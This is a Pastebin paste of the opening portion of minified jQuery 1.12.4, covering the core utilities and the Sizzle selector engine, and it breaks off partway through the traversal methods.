Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license */
- !function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="1.12.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(e.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:g,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray||function(a){return"array"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){var b=a&&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||"object"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;try{if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}if(!l.ownFirst)for(b in a)return k.call(a,b);for(b in a);return void 0===b||k.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?i[j.call(a)]||"object":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(s(a)){for(c=a.length;c>d;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):g.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(h)return h.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=e.call(arguments,2),d=function(){return a.apply(b||this,c.concat(e.call(arguments)))},d.guid=a.guid=a.guid||n.guid++,d):void 0},now:function(){return+new Date},support:l}),"function"==typeof Symbol&&(n.fn[Symbol.iterator]=c[Symbol.iterator]),n.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){i["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=!!a&&"length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ga(),z=ga(),A=ga(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+M+"))|)"+L+"*\\]",O=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+N+")*)|.*)\\)|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),R=new RegExp("^"+L+"*,"+L+"*"),S=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),T=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),U=new RegExp(O),V=new RegExp("^"+M+"$"),W={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M+"|[*])"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},X=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Z=/^[^{]+\{\s*\[native \w/,$=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,_=/[+~]/,aa=/'|\\/g,ba=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),ca=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},da=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(ea){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==x&&(o=$.exec(a)))if(f=o[1]){if(9===x){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(w&&(j=w.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(o[2])return H.apply(d,b.getElementsByTagName(a)),d;if((f=o[3])&&c.getElementsByClassName&&b.getElementsByClassName)return H.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==x)w=b,s=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(aa,"\\$&"):b.setAttribute("id",k=u),r=g(a),h=r.length,l=V.test(k)?"#"+k:"[id='"+k+"']";while(h--)r[h]=l+" "+qa(r[h]);s=r.join(","),w=_.test(a)&&oa(b.parentNode)||b}if(s)try{return H.apply(d,w.querySelectorAll(s)),d}catch(y){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(Q,"$1"),b,d,e)}function ga(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ha(a){return a[u]=!0,a}function ia(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ja(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function na(a){return ha(function(b){return b=+b,ha(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function oa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=fa.support={},f=fa.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fa.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ia(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ia(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Z.test(n.getElementsByClassName),c.getById=ia(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return"undefined"!=typeof b.getElementsByClassName&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=Z.test(n.querySelectorAll))&&(ia(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Z.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ia(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",O)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Z.test(o.compareDocumentPosition),t=b||Z.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},fa.matches=function(a,b){return fa(a,null,null,b)},fa.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(T,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fa(b,n,null,[a]).length>0},fa.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fa.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fa.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fa.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fa.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fa.selectors={cacheLength:50,createPseudo:ha,match:W,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ba,ca),a[3]=(a[3]||a[4]||a[5]||"").replace(ba,ca),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fa.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fa.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return W.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&U.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ba,ca).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fa.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(P," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fa.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ha(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ha(function(a){var b=[],c=[],d=h(a.replace(Q,"$1"));return d[u]?ha(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ha(function(a){return function(b){return fa(a,b).length>0}}),contains:ha(function(a){return a=a.replace(ba,ca),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ha(function(a){return V.test(a||"")||fa.error("unsupported lang: "+a),a=a.replace(ba,ca).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Y.test(a.nodeName)},input:function(a){return X.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:na(function(){return[0]}),last:na(function(a,b){return[b-1]}),eq:na(function(a,b,c){return[0>c?c+b:c]}),even:na(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:na(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:na(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:na(function(a,b,c){for(var d=0>c?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=la(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=ma(b);function pa(){}pa.prototype=d.filters=d.pseudos,d.setFilters=new pa,g=fa.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=R.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=S.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(Q," ")}),h=h.slice(c.length));for(g in d.filter)!(e=W[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?fa.error(a):z(a,i).slice(0)};function qa(a){for(var b=0,c=a.length,d="";c>b;b++)d+=a[b].value;return d}function ra(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j,k=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(j=b[u]||(b[u]={}),i=j[b.uniqueID]||(j[b.uniqueID]={}),(h=i[d])&&h[0]===w&&h[1]===f)return k[2]=h[2];if(i[d]=k,k[2]=a(b,c,g))return!0}}}function sa(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ta(a,b,c){for(var d=0,e=b.length;e>d;d++)fa(a,b[d],c);return c}function ua(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function va(a,b,c,d,e,f){return d&&!d[u]&&(d=va(d)),e&&!e[u]&&(e=va(e,f)),ha(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ta(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ua(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ua(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ua(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function wa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ra(function(a){return a===b},h,!0),l=ra(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[ra(sa(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return va(i>1&&sa(m),i>1&&qa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(Q,"$1"),c,e>i&&wa(a.slice(i,e)),f>e&&wa(a=a.slice(e)),f>e&&qa(a))}m.push(c)}return sa(m)}function xa(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=F.call(i));u=ua(u)}H.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&fa.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ha(f):f}return h=fa.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xa(e,d)),f.selector=a}return f},i=fa.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ba,ca),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=W.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ba,ca),_.test(j[0].type)&&oa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qa(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||_.test(a)&&oa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ia(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ia(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ja("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ia(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ja("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ia(function(a){return null==a.getAttribute("disabled")})||ja(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fa}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.uniqueSort=n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},v=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},w=n.expr.match.needsContext,x=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,y=/^.[^:#\[\.,]*$/;function z(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(y.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>-1!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++)if(n.contains(d[b],this))return!0}));for(b=0;e>b;b++)n.find(a,d[b],c);return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(z(this,a||[],!1))},not:function(a){return this.pushStack(z(this,a||[],!0))},is:function(a){return!!z(this,"string"==typeof a&&w.test(a)?n(a):a||[],!1).length}});var A,B=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=n.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||A,"string"==typeof a){if(e="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:B.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),x.test(e[1])&&n.isPlainObject(b))for(e in b)n.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}if(f=d.getElementById(e[2]),f&&f.parentNode){if(f.id!==e[2])return A.find(a);this.length=1,this[0]=f}return this.context=d,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof c.ready?c.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};C.prototype=n.fn,A=n(d);var D=/^(?:parents|prev(?:Until|All))/,E={children:!0,contents:!0,next:!0,prev:!0};n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return 